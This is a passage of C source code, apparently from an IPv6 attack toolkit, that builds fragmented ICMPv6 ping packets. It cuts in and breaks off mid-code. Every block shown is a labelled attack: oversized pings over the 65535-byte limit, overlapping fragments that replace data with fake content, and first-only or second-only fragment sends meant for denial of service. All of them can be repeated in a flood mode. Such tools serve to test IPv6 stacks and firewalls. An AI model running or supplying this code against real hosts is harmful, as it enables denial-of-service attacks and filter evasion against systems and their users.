hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset,
1232); // ignore
if (!flood) sleep(1);
curr++;
}
curr = 0;
if (only == ++count || only == 0)
while (curr < resend || flood) {
memset(lbuf, only % 256, sizeof(lbuf));
if (flood == 0 || curr == 0)
printf(
"ATTACK Implementation %d - sending 65495 bytes in 54 fragments\n",
count);
if (flood == 0 || curr == 0) printf(" Sending 54 fragments ping\n");
pkt3 = thc_destroy_packet(pkt3);
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 255, 0, count, 0, 0)) ==
NULL)
return -1;
thc_add_icmp6(pkt3, &pkt_len3, ICMP6_PINGREQUEST, 0,
0xfacebabe + count + curr, (unsigned char *)&lbuf, 65495,
0);
thc_generate_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore
hdr = (thc_ipv6_hdr *)pkt3;
thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6,
hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset,
1232); // ignore
if (!flood) sleep(1);
curr++;
}
curr = 0;
if (only == ++count || only == 0)
while (curr < resend || flood) {
memset(lbuf, only % 256, sizeof(lbuf));
if (flood == 0 || curr == 0)
printf(
"ATTACK Implementation %d - sending 65535 bytes in 54 fragments\n",
count);
if (flood == 0 || curr == 0) printf(" Sending 54 fragments ping\n");
pkt3 = thc_destroy_packet(pkt3);
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 255, 0, count, 0, 0)) ==
NULL)
return -1;
thc_add_icmp6(pkt3, &pkt_len3, ICMP6_PINGREQUEST, 0,
0xfacebabe + count + curr, (unsigned char *)&lbuf, 65535,
0);
thc_generate_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore
hdr = (thc_ipv6_hdr *)pkt3;
thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6,
hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset,
1232); // ignore
if (!flood) sleep(1);
curr++;
}
curr = 0;
if (only == ++count || only == 0)
while (curr < resend || flood) {
memset(lbuf, only % 256, sizeof(lbuf));
if (flood == 0 || curr == 0)
printf(
"ATTACK Implementation %d - sending 66920 bytes in 47 fragments\n",
count);
if (flood == 0 || curr == 0) printf(" Sending 47 fragments ping\n");
pkt3 = thc_destroy_packet(pkt3);
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 255, 0, count, 0, 0)) ==
NULL)
return -1;
thc_add_icmp6(pkt3, &pkt_len3, ICMP6_PINGREQUEST, 0,
0xfacebabe + count + curr, (unsigned char *)&lbuf, 66920,
0);
thc_generate_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore
hdr = (thc_ipv6_hdr *)pkt3;
thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6,
hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset,
1438 - offset); // ignore return code
if (!flood) sleep(1);
curr++;
}
curr = 0;
if (only == ++count || only == 0)
while (curr < resend || flood) {
if (flood == 0 || curr == 0)
printf(
"ATTACK Implementation %d - replacing fragments with new, "
"different data\n",
count);
if (flood == 0 || curr == 0) printf(" Sending first fragment\n");
pkt3 = thc_destroy_packet(pkt3);
hdr = (thc_ipv6_hdr *)pkt;
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 64, 0, count, 0, 0)) ==
NULL)
return -1;
if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1,
0xfacebabe + getpid() + count + curr))
return -1;
memcpy(buf, hdr->pkt + 40 + offset, 400 + 8);
if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 408)) return -1;
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
if (flood == 0 || curr == 0)
printf(" Sending second fragment with fake data\n");
pkt3 = thc_destroy_packet(pkt3);
hdr = (thc_ipv6_hdr *)pkt2;
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 64, 0, count, 0, 0)) ==
NULL)
return -1;
if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51, 1,
0xfacebabe + getpid() + count + curr))
return -1;
memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400);
if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1;
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
if (!flood) sleep(1);
if (flood == 0 || curr == 0)
printf(
" Sending duplicate second fragment with real data and ttl=64\n");
pkt3 = thc_destroy_packet(pkt3);
hdr = (thc_ipv6_hdr *)pkt;
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 64, 0, count, 0, 0)) ==
NULL)
return -1;
if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51, 1,
0xfacebabe + getpid() + count + curr))
return -1;
memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400);
if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1;
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
if (!flood) sleep(1);
if (flood == 0 || curr == 0)
printf(" Sending third and final fragment\n");
pkt3 = thc_destroy_packet(pkt3);
hdr = (thc_ipv6_hdr *)pkt;
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 64, 0, count, 0, 0)) ==
NULL)
return -1;
if (thc_add_hdr_fragment(pkt3, &pkt_len3, 101, 0,
0xfacebabe + getpid() + count + curr))
return -1;
memcpy(buf, hdr->pkt + 40 + offset + 808, 400);
if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1;
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
if (!flood) sleep(1);
curr++;
}
curr = 0;
if (only == ++count || only == 0)
while (curr < resend || flood) {
if (flood == 0 || curr == 0)
printf(
"ATTACK Implementation %d - replacing fragments with new, "
"different data\n",
count);
if (flood == 0 || curr == 0) printf(" Sending first fragment\n");
pkt3 = thc_destroy_packet(pkt3);
hdr = (thc_ipv6_hdr *)pkt;
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 64, 0, count, 0, 0)) ==
NULL)
return -1;
if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1,
0xfacebabe + getpid() + count + curr))
return -1;
memcpy(buf, hdr->pkt + 40 + offset, 400 + 8);
if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 408)) return -1;
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
if (flood == 0 || curr == 0)
printf(
" Sending duplicate second fragment with real data and ttl=64\n");
pkt3 = thc_destroy_packet(pkt3);
hdr = (thc_ipv6_hdr *)pkt;
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 64, 0, count, 0, 0)) ==
NULL)
return -1;
if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51, 1,
0xfacebabe + getpid() + count + curr))
return -1;
memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400);
if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1;
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
if (!flood) sleep(1);
if (flood == 0 || curr == 0)
printf(" Sending second fragment with fake data\n");
pkt3 = thc_destroy_packet(pkt3);
hdr = (thc_ipv6_hdr *)pkt2;
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 64, 0, count, 0, 0)) ==
NULL)
return -1;
if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51, 1,
0xfacebabe + getpid() + count + curr))
return -1;
memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400);
if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1;
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
if (!flood) sleep(1);
if (flood == 0 || curr == 0)
printf(" Sending third and final fragment\n");
pkt3 = thc_destroy_packet(pkt3);
hdr = (thc_ipv6_hdr *)pkt;
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 64, 0, count, 0, 0)) ==
NULL)
return -1;
if (thc_add_hdr_fragment(pkt3, &pkt_len3, 101, 0,
0xfacebabe + getpid() + count + curr))
return -1;
memcpy(buf, hdr->pkt + 40 + offset + 808, 400);
if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1;
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
if (!flood) sleep(1);
curr++;
}
curr = 0;
if (only == ++count || only == 0)
while (curr < resend || flood) {
if (flood == 0 || curr == 0)
printf("ATTACK DOS %d - sending only first fragment\n", count);
if (flood == 0 || curr == 0) printf(" Sending first fragment\n");
pkt3 = thc_destroy_packet(pkt3);
hdr = (thc_ipv6_hdr *)pkt;
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,
src6, dst6, 64, 0, count, ++tos,
0)) == NULL)
return -1;
if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1,
0xfacebabe + getpid() + count + curr))
return -1;
memcpy(buf, hdr->pkt + 40 + offset, 400 + 8);
if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 408)) return -1;
thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3,
&pkt_len3); // ignore
if (!flood) sleep(1);
curr++;
}
curr = 0;
if (only == ++count || only == 0)
while (curr < resend || flood) {
if (flood == 0 || curr == 0)
printf("ATTACK DOS %d - sending only second fragment\n", count);
if (flood == 0 || curr == 0) printf(" Sending second fragment\n");
pkt3 = thc_destroy_packet(pkt3);
hdr = (thc_ipv6_hdr *)pkt;
if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3,